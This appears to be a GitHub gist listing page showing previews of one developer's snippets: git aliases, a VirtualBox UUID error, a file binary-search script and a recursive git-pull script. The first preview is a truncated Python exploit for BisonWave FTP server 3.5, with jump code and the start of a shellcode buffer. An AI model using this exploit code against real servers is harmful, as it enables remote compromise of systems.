Skip to content

Instantly share code, notes, and snippets.

View BillRizer's full-sized avatar
💭
exterminating alien codes #happyNewYear2637

Pablo BillRizer

💭
exterminating alien codes #happyNewYear2637
View GitHub Profile
@BillRizer
BillRizer / exploit-bison.py
Created November 5, 2019 23:25
Exploit BisonWave FTP server v.3.5
#!/usr/bin/python
import socket,time
#jump memory code
jmp = "\x83\xEB\x32"*8
jmp += "\xff\xe3"
#exploit code
buf = ""
buf += "\xbe\xa8\x9a\x2c\x48\xda\xce\xd9\x74\x24\xf4\x5d\x31"
@BillRizer
BillRizer / git alias
Created June 5, 2022 23:17
git alias
# for edit, run:
# git config --global --edit
# alias snippet above
[alias]
s = !git status -s
c = !git add --all && git commit -m
l = !git log --pretty=format:'%C(blue)%h%C(red)%d %C(white)%s - %C(cyan)%cn,%C(green)%cr'
@BillRizer
BillRizer / gist:49fb0b016d76bd26f41bb749d36e8724
Last active October 21, 2022 12:43
How to Fix: VirtualBox UUID already exists hard disk (ubuntu / windows)
“Failed to open the hard disk E:\VirtualBox VMs\Windows 8 \Windows 8 Enterprise2.vhd.
Cannot register the hard disk ‘E:\VirtualBox VMs\Windows 8 \Windows 8 Enterprise2.vhd’
{ca2bdc6a-a487-4e57-9fcd-509d0c31d86d} because a hard disk
‘E:\VirtualBox VMs\Windows 8 Enterprise\Windows 8 Enterprise2.vhd’ with UUID {ca2bdc6a-a487-4e57-9fcd-509d0c31d86d} already exists.
Result Code:
E_INVALIDARG (0x80070057)
Component:
VirtualBox
Interface:
IVirtualBox {3b2f08eb-b810-4715-bee0-bb06b9880ad2}
@BillRizer
BillRizer / search_binary.py
Created January 31, 2024 23:24
Binary search in Txt file with line format: ID | any | any
import sys
def binary_search_in_file(file_name, desired_element):
start = 0
end = None
with open(file_name, 'r') as file:
file_size = file.seek(0, 2)
end = file_size
while start <= end:
@BillRizer
BillRizer / git-pull-all.sh
Created March 1, 2024 14:28
git pull in all projects. from projects within the current folder
#!/bin/bash
function git_pull_recursive() {
for dir in "$1"/*; do
if [ -d "$dir" ]; then
cd "$dir" || exit
if [ -d ".git" ]; then
echo "> Updating repository -> $(pwd)"
git pull
fi
git_pull_recursive "$dir"